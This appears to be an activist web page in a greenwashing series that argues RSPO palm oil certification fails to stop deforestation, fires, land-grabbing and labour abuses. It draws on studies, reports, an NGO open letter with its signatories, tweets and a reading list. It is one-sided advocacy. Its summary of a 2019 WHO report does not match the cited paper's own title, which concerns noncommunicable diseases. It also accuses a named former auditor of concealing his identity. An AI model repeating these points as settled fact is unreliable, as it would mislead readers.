Nicholas H. Wolff, Yuta J. Masuda, Erik Meijaard, Jessie A. Wells, Edward T. Game,
Impacts of tropical deforestation on local temperature and human well-being perceptions, Global Environmental Change, Volume 52, 2018, https://doi.org/10.1016/j.gloenvcha.2018.07.004.The False Promise of Certification, Changing Markets (2018)
The False Promise of Certification (2018) Changing Markets Download report“While RSPO is often referred to as the best scheme in the sector, it
has several shortcomings; most notably, it allows the conversion of secondary forests and the draining
of peatlands, it has not prevented human rights violations and it does not require GHG emissions
reductions.“In light of this, we call for action to reduce demand for palm oil, such as
ditching biofuels targets, as well as channelling new plantations into non-forested areas by putting in
place a strong moratorium on palm oil expansion to forests and peatlands. Most schemes in this sector
should be abolished in light of their failures on multiple fronts.”— The False Promise of Certification (2018) Changing Markets
MSI’s (Multi-Stakeholder Initiatives including the RSPO and Rainforest Alliance) are inadequate in detecting human rights abuses and uphold standards
MSI Insight Report on Monitoring and Compliance in Multi-Stakeholder Initiatives (MSIs) like the RSPO (2020) Download report“MSIs put considerable emphasis on the standards that they set, but have not developed effective mechanisms for detecting abuses, enforcing compliance with those standards, or transparently disclosing levels of compliance. Despite the emergence of models that enable rights holders to legally enforce MSIs’ standards or to be actively engaged in monitoring companies for abuses, MSIs have not adopted them. By focusing on setting standards without adequately ensuring if members are following those standards, MSIs risk providing companies and governments with powerful reputational benefits despite the persistence of rights abuses.”
The difficulty of addressing and resolving oil palm conflicts is due not only to the inadequacies of Indonesia’s legal framework regarding land and plantations but also to the way in which Indonesia’s informalized state institutions foster collusion between local power holders and palm oil companies. This collusion enables companies to evade regulation, suppress community protests and avoid engaging in constructive efforts to resolve conflicts. Furthermore, this collusion has made the available conflict resolution mechanisms largely ineffective.
Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
Associated Press 2020 Report: Beauty Brands (RSPO members) L’Oreal, Colgate-Palmolive, Johnson& Johnson, Unilever linked to rape on palm oil plantations
https://twitter.com/AP/status/1330163571951611906?s=20
https://twitter.com/dwnews/status/1329701899180924928?s=20
Associated Press Investigation (2020) finds wide-spread rape, human rights abuses and slavery on palm oil plantations for well known brands: Unilever, Johnson & Johnson, L’Oreal, Avon, Colgate Palmolive Dayak Indigenous Ethnographer Dr Setia Budhi: In His Own Words“The expansion of oil palm plantations has created many detrimental environmental impacts, including deforestation, loss of biodiversity, land conflicts, labour conflicts, and social conflicts around plantations.
“Environmental damage and social injustice were reasons why the global palm oil certification, the Roundtable on Sustainable Palm Oil (RSPO) was established.
“In practice, requirements for oil palm certifications are easily violated. Lots of things are problematic.”
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Global corporates are responsible for the majority of palm oil production and deforestation risk, not smallholder farmers
The three biggest palm oil traders: Sinar Mas, Wilmar and Musim Mas – are founding members of the RSPO. They have the biggest deforestation risk of all other palm oil companies combined. Deforestation goes against the RSPO’s rules – yet these big companies do not lose their RSPO membership or face punishment.
Source: Insights: Indonesian Palm Oil. Trase Earth (2018)
Search the Environmental Justice Atlas for specific companies and their human rights abuses and land-grabbing record
Search hereBack to top ↑
RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
Epidemics and rapacity of multinational companies in Liberia
Discussion Paper. The Centre for Economic Performance, London School of Economics. Release date: 12th March, 2022
Conclusion
https://twitter.com/CEP_LSE/status/1502238109677015044?s=20&t=CwBhOE-SLGkXtNxC9nXw5w
This paper provides novel granular evidence on the interaction between the Ebola epidemic, deforestation, and palm oil plantations in Liberia. The palm oil multinationals, exploiting the health crisis, stepped up deforestation to increase output. The effect on deforestation is more severe in areas inhabited by politically unrepresented ethnic groups, characterized by a reduction in tree coverage by 6.5%.
We also document an increase of more than 125% in the likelihood of
fire events within concessions during the epidemic. This suggests that not only did the palm oil companies foster deforestation, but further that they used forest fires to do so. This is particularly harmful to the environment, and the smoke and the haze may have severe health consequences, apart from being a source of carbon dioxide.This deforestation was accompanied by a 150% increase in the amount of land dedicated to cultivation.
Read moreThis exploitative behaviour was highly profitable for palm oil companies, with a 1428% increase in the value of Liberian palm oil’s exports compared with the pre-Ebola period. Unfortunately, we cannot say the same for local people or the local environment.
Greenwashing
The RSPO prevents and stops deforestation and fires on palm oil plantations by its members
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https://twitter.com/orangutans/status/1146706666508955648?s=20
https://twitter.com/orangulandtrust/status/1355496891673415680?s=20
https://twitter.com/SimamoraDupito/status/1442410921519771649?s=20
https://twitter.com/orangulandtrust/status/1355827449397915651?s=20
https://twitter.com/orangutans/status/1461673435965313025
https://twitter.com/RSPOtweets/status/1419944414751989760?s=20
https://twitter.com/RSPOtweets/status/1173741858171830272?s=20
https://twitter.com/orangulandtrust/status/1447297851038605315?s=20
https://twitter.com/HersheyCompany/status/1447916947669192709?s=20
https://twitter.com/orangulandtrust/status/1169538449680031745?s=20
https://twitter.com/RSPOtweets/status/1385138817309548544?s=20
https://twitter.com/orangulandtrust/status/1169532824375955456?s=20
https://twitter.com/Nestle/status/1404782473221967872?s=20
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Greenwashing
Lies and denialism in the media about the environmental impact of palm oil
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Research into media coverage of the environmental impact of palm oil in Indonesia shows they deny it’s causing ecocide
We found that media reporting of the denialist narrative is more prevalent than that of the peer-reviewed science consensus-view that palm oil plantations on tropical peat could cause excessive greenhouse gas emissions and enhance the risk of fires.
Our article alerts to the continuation of unsustainable practices as justified by the media to the public, and that the prevalence of these denialist narratives constitute a significant obstacle in resolving pressing issues such as transboundary haze, biodiversity loss, and land-use change related greenhouse gas emissions in Southeast Asia.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
https://twitter.com/CPOPC_ORG/status/1448232875535388678?s=20
https://twitter.com/CPOPC_ORG/status/1436104523756433434?s=20
Indonesian President Joko Widodo’s administration has achieved four consecutive years of deforestation declines via land-use reforms and re-establishing a logging moratorium. This significant work culminated in 2020 when the country gained its lowest deforestation rates since monitoring began, reaching a 75% drop year-over-year.
Reality: RSPO “Sustainable” Palm Oil Does Not Stop or Prevent Deforestation
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Tweet from Bart Van Assen, former lead auditor for the RSPO and HCV admitting that the main goal of the RSPO, FSC and other certification initiatives is not to prevent deforestation. (Bart has formerly used @palmoiltruther on Twitter but now changes between @Forest4Apes or @Apes4Forests depending on times when he attempts to conceal his identity).
Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Certification had no causal impact on forest loss in peatlands or active fire detection rates.
Kimberly M. Carlson, Robert Heilmayr, Holly K. Gibbs, Praveen Noojipady et al. Effect of oil palm sustainability certification on deforestation and fire in Indonesia, PNAS January 2, 2018 115 (1) 121-126 https://doi.org/10.1073/pnas.1704728114
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032 (2018).
The Neue Zuercher Zeitung used several cases to highlight where slash-and-burn techniques continue on RSPO-certified land, and where new plantations are threatening important ecosystems. These examples are representative of the huge gap between the need for environmental protection and the ever-increasing global demand for palm oil.
Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung (May 2021) (In English)
Swiss multinational Nestlé received hundreds of thousands of alerts of forest clearing near its palm oil suppliers in 2019 via satellite monitoring.
Nestlé identified over 1,000 cases of deforestation per day in palm oil areas. SwissInfo (2020).
https://twitter.com/adinarenner/status/1392148610448568329?s=20
Fire outbreaks in and around palm oil concessions (often starting from slash-and-burn fires to clear land for plantations).
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Thousands of fire alerts were recorded by Chain Reaction Research on RSPO member palm oil plantations
The top ten palm oil traders and refiners in Indonesia all had thousands of alerts for fires in their palm oil plantations:
- ADM
- Unilever
- Neste
- Cargill
- Bunge
- Wilmar
- Olam
- AAK
all of these companies are RSPO members
https://youtu.be/jdYT_g9ENxw?t=1346
A still from the Chain Reaction Research video: Which Companies are Expoosed to Deforestation Driven Fires in their Supply ChainsA 2019 World Health Organisation (WHO) report into the palm oil industry and RSPO finds extensive greenwashing of palm oil deforestation and the murder of endangered animals (i.e. biodiversity loss)
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Explore the series
1 2 3 4 5 6 7 8 9 10Back to top ↑
Join the #Boycott4Wildlife and fight greenwashing and deforestation by using your wallet as a weapon!
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Further reading on palm oil ecocide, greenwashing and deceptive marketing
- A Brief History of Consumer Culture, Dr. Kerryn Higgs, The MIT Press Reader. https://thereader.mitpress.mit.edu/a-brief-history-of-consumer-culture/
- A Deluge of Double-Speak (2017), Jason Bagley. Truth in Advertising. https://truthinadvertising.org/blog/a-deluge-of-doublespeak/
- Aggarwal, P. (2011). Greenwashing: The darker side of CSR. Indian Journal of Applied Research, 4(3), 61-66. https://www.worldwidejournals.com/indian-journal-of-applied-research-(IJAR)/article/greenwashing-the-darker-side-of-csr/MzMxMQ==/?is=1
- Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
- Armour, C. (2021). Green Clean. Company Director Magazine. https://www.aicd.com.au/regulatory-compliance/regulations/investigation/green-clean.html
- Balanced Growth (2020), In: Leal Filho W., Azul A.M., Brandli L., özuyar P.G., Wall T. (eds) Responsible Consumption and Production. Encyclopedia of the UN Sustainable Development Goals. Springer, Cham
- Berenschot, W., Hospes, O., & Afrizal, A. (2023). Unequal access to justice: An evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agriculture and Human Values, 40, 291-304. https://doi.org/10.1007/s10460-022-10360-z
- Carlson, K. M., Heilmayr, R., Gibbs, H. K., Noojipady, P., et al. (2018). Effect of oil palm sustainability certification on deforestation and fire in Indonesia. PNAS, 115(1), 121-126. https://doi.org/10.1073/pnas.1704728114
- Cazzolla Gatti, R., Liang, J., Velichevskaya, A., & Zhou, M. (2018). Sustainable palm oil may not be so sustainable. Science of The Total Environment, 652, 48-51. https://pubmed.ncbi.nlm.nih.gov/30359800/
- Changing Times Media. (2019). Roundtable on Sustainable Palm Oil is ‘greenwashing’ labelled products, environmental investigation agency says. Changing Times Media. https://changingtimes.media/2019/11/03/roundtable-on-sustainable-palm-oil-is-greenwashing-labelled-products-environmental-protection-agency-says/
- Client Earth: The Greenwashing Files. https://www.clientearth.org/projects/the-greenwashing-files/
- Commodifying sustainability: Development, nature and politics in the palm oil industry (2019). World Development, Volume 121, September 2019, Pages 218-228. https://ideas.repec.org/a/eee/wdevel/v121y2019icp218-228.html
- Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore (2020). Liu, F. H. M., Ganesan, V., Smith, T. E. L. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Cosimo, L. H. E., Masiero, M., Mammadova, A., & Pettenella, D. (2024). Voluntary sustainability standards to cope with the new European Union regulation on deforestation-free products: A gap analysis. Forest Policy and Economics, 164, 103235. https://doi.org/10.1016/j.forpol.2024.103235
- Dalton, J. (2018). No such thing as sustainable palm oil – ‘certified’ can destroy even more wildlife, say scientists. The Independent. https://www.independent.co.uk/climate-change/news/palm-oil-sustainable-certified-plantations-orangutans-indonesia-southeast-asia-greenwashing-purdue-a8674681.html
- Davis, S. J., Alexander, K., Moreno-Cruz, J., et al. (2023). Food without agriculture. Nature Sustainability. https://www.nature.com/articles/s41893-023-01241-2
- EIA International. (2022). Will palm oil watchdog rid itself of deforestation or continue to pretend its products are sustainable? EIA International. https://eia-international.org/news/will-palm-oil-watchdog-rid-itself-of-deforestation-or-continue-to-pretend-its-products-are-sustainable/
- Environmental Investigation Agency. (2019). Palm oil watchdog’s sustainability guarantee is still a destructive con. EIA International. https://eia-international.org/news/palm-oil-watchdogs-sustainability-guarantee-is-still-a-destructive-con/
- Federal Trade Commission. (n.d.). Green Guides. https://www.ftc.gov/news-events/topics/truth-advertising/green-guides
- Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job (2019). Rainforest Action Network. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Friends of the Earth International. (2018). RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector. Friends of the Earth International. https://www.foei.org/rspo-14-years-of-failure-to-eliminate-violence-and-destruction-from-the-industrial-palm-oil-sector/
- Lang, Chris and REDD Monitor. Sustainable palm oil? RSPO’s greenwashing and fraudulent audits exposed. The Ecologist. https://theecologist.org/2015/nov/19/sustainable-palm-oil-rspos-greenwashing-and-fraudulent-audits-exposed
- Gatti, L., Pizzetti, M., & Seele, P. (2021). Green lies and their effect on intention to invest. Journal of Business Research, 127, 376-387. https://doi.org/10.1016/j.jbusres.2021.01.028
- Global Witness. (2023). Amazon palm: Ecocide and human rights abuses. Global Witness. https://www.globalwitness.org/en/campaigns/environmental-activists/amazon-palm/
- Global Witness. (2021). The True Price of Palm Oil. Global Witness. https://www.globalwitness.org/en/campaigns/forests/true-price-palm-oil/
- Grain. (2021). Ten reasons why certification should not be promoted in the EU anti-deforestation regulation. Grain. https://grain.org/en/article/6856-ten-reasons-why-certification-should-not-be-promoted-in-the-eu-anti-deforestation-regulation
- Green Clean (2021). Armour, C. Company Director Magazine.
- Green marketing and the Australian Consumer Law (2011). Australian Competition and Consumer Commission. https://www.accc.gov.au/system/files/Green%20marketing%20and%20the%20ACL.pdf
- Greenwash and spin: palm oil lobby targets its critics (2011). Helan, A. Ecologist: Informed by Nature. https://theecologist.org/2011/jul/08/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Greenwashing: definition and examples. Selectra https://climate.selectra.com/en/environment/greenwashing#:~:text=Greenwashing%20is%20the%20practice%20of,its%20activities%20pollute%20the%20environment.
- Greenwashing of the Palm Oil Industry (2007). Mongabay. https://news.mongabay.com/2007/11/greenwashing-the-palm-oil-industry/
- Group Challenges Rainforest Alliance Earth-Friendly Seal of Approval (2015). Truth in Advertising. https://www.truthinadvertising.org/group-challenges-rainforest-alliance-earth-friendly-seal-of-approval
- Helan, A. (2011). Greenwash and spin: palm oil lobby targets its critics. Ecologist: Informed by Nature. https://theecologist.org/2011/feb/15/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Hewlett Packard. (2021). What is Greenwashing and How to Tell Which Companies are Truly Environmentally Responsible. Hewlett Packard. https://www.hp.com/us-en/shop/tech-takes/what-is-greenwashing-environmentally-responsible-companies
- Holzner, A., Rameli, N. I. A. M., Ruppert, N., & Widdig, A. (2024). Agricultural habitat use affects infant survivorship in an endangered macaque species. Current Biology. https://pubmed.ncbi.nlm.nih.gov/38194972/
- How Cause-washing Deceives Consumers (2021). Truth in Advertising. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- International Labour Organization. (2020). Forced labor in the palm oil industry. ILO. https://www.ilo.org/topics/forced-labour-modern-slavery-and-human-trafficking
- Jauernig, J., Uhl, M., & Valentinov, V. (2021). The ethics of corporate hypocrisy: An experimental approach. Futures, 129, 102757. https://doi.org/10.1016/j.futures.2021.102757
- Kirby, D. (2015). Sustainable Palm Oil? Who Knows, Thanks to Derelict Auditors. Take Part. https://www.yahoo.com/news/sustainable-palm-oil-knows-thanks-derelict-auditors-200643980.html
- Li, T. M., & Semedi, P. (2021). Plantation life: Corporate occupation in Indonesia’s oil palm zone. Duke University Press. https://www.dukeupress.edu/plantation-life
- Liu, F. H. M., Ganesan, V., & Smith, T. E. L. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia, and Singapore. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Meemken, E. M., Barrett, C. B., Michelson, H. C., et al. (2021). Sustainability standards in global agrifood supply chains. Nature Food. https://doi.org/10.1038/s43016-021-00299-2
- Miles, T. (2019). Study in WHO journal likens palm oil lobbying to tobacco and alcohol industries. Reuters. https://www.reuters.com/article/idUSKCN1P21ZR/
- Nygaard, A. (2023). Is sustainable certification’s ability to combat greenwashing trustworthy? Frontiers in Sustainability, 4, Article 1188069. https://doi.org/10.3389/frsus.2023.1188069
- Oppong-Tawiah D, Webster J. Corporate Sustainability Communication as ‘Fake News’: Firms’ Greenwashing on Twitter. Sustainability. 2023; 15(8):6683. https://www.mdpi.com/2071-1050/15/8/6683
- Pabon, J. (2024). The great greenwashing: How brands, governments, and influencers are lying to you. Anansi International. https://www.vitalsource.com/products/the-great-greenwashing-john-pabon-v9781487012878
- Podnar, K., & Golob, U. (2024). Brands and activism: Ecosystem and paradoxes. Journal of Brand Management, 31, 95–107. https://link.springer.com/article/10.1057/s41262-024-00355-y
- Rainforest Action Network. (2019). Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job. RAN. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Renner, A., Zellweger, C., & Skinner, B. (2021). ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung. https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490
- Saager, E. S., Iwamura, T., Jucker, T., & Murray, K. A. (2023). Deforestation for oil palm increases microclimate suitability for the development of the disease vector Aedes albopictus. Scientific Reports, 13(1), 9514. https://www.nature.com/articles/s41598-023-35452-6
- Southey, F. (2021). What do Millennials think of palm oil? Nestlé investigates. Food Navigator. https://www.foodnavigator.com/Article/2021/08/12/What-do-Millennials-think-of-palm-oil-Nestle-investigates
- Transparency International. (2023). Transparency international report: Corruption and corporate capture in Indonesia’s top 50 palm oil companies. Transparency International. https://palmoildetectives.com/2023/05/14/transparency-international-report-corruption-and-corporate-capture-in-indonesias-top-50-palm-oil-companies/
- Truth in Advertising. (2022). Companies accused of greenwashing. https://truthinadvertising.org/articles/companies-accused-greenwashing/
- Truth in Advertising. (n.d.). How causewashing deceives consumers. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- Tybout, A. M., & Calkins, T. (Eds.). (2019). Kellogg on Branding in a Hyper-Connected World. Kellogg School of Management, Northwestern University. https://www.wiley.com/en-au/Kellogg+on+Branding+in+a+Hyper-Connected+World-p-9781119533184
- Wicke, J. (2019). Sustainable palm oil or certified dispossession? NGOs within scalar struggles over the RSPO private governance standard. Bioeconomy & Inequalities: Working Paper No. 8. https://www.bioinequalities.uni-jena.de/sozbemedia/WorkingPaper8.pdf
- World Health Organisation. (2019). The palm oil industry and noncommunicable diseases. World Health Organisation Bulletin, 97, 118-128. https://pubmed.ncbi.nlm.nih.gov/30728618/
- World Rainforest Movement. (2021, November 22). Why the RSPO facilitates land grabs for palm oil. https://wrm.org.uy/articles-from-the-wrm-bulletin/section1/why-the-rspo-facilitates-land-grabs-for-palm-oil/
- Zuckerman, J. (2021). The Time Has Come to Rein In the Global Scourge of Palm Oil. Yale Environment 360, Yale School of Environment. https://e360.yale.edu/features/the-time-has-come-to-rein-in-the-global-scourge-of-palm-oil
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Palm Oil Detectives is completely self-funded by its creator. All hosting and website fees and investigations into brands are self-funded by the creator of this online movement. If you like what I am doing, you and would like me to help meet costs, please send Palm Oil Detectives a thanks on Ko-Fi.
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#7 #advertising #BoycottPalmOil #Boycott4wildlife #BoycottPalmOil #brandBoycotts #branding #consumerRights #consumers #FightgreenwashingTweet #fire #greenwashing #OrangutanLandTrust #palmoil #RSPO #RSPOGreenwashing #sentinel2
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Greenwashing Tactic #7: Lying
Telling outright lies over and over again to consumers until they are believed as truth
Greenwashing by Lying
Blatant lies that appear in advertising or on social media. The lie could be falsifying support from respected authorities or individuals on environmental issues. Or the lie could be research with ambiguous results being made to sound positive. Sometimes, it is a clear and obvious lie.
Tweet this…
#Greenwashing Tactic #7: Lying: Telling outright lies to #consumers until they are believed as truth. #palmoil lobbyists and global food companies lie about ‘sustainable’ #palmoil #Boycott4Wildlife #Boycottpalmoil #FightGreenwashing
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Greenwashing: Endangered species
Reality: Endangered species
Greenwashing: Human rights, land-grabbing and livelihoods for workers
Reality: Human rights, land-grabbing and livelihoods for workers
An open letter from Friends of the Earth and 100 Human Rights NGOs
Greenwashing: Deforestation and fire
Greenwashing: Lies and denialism in the media
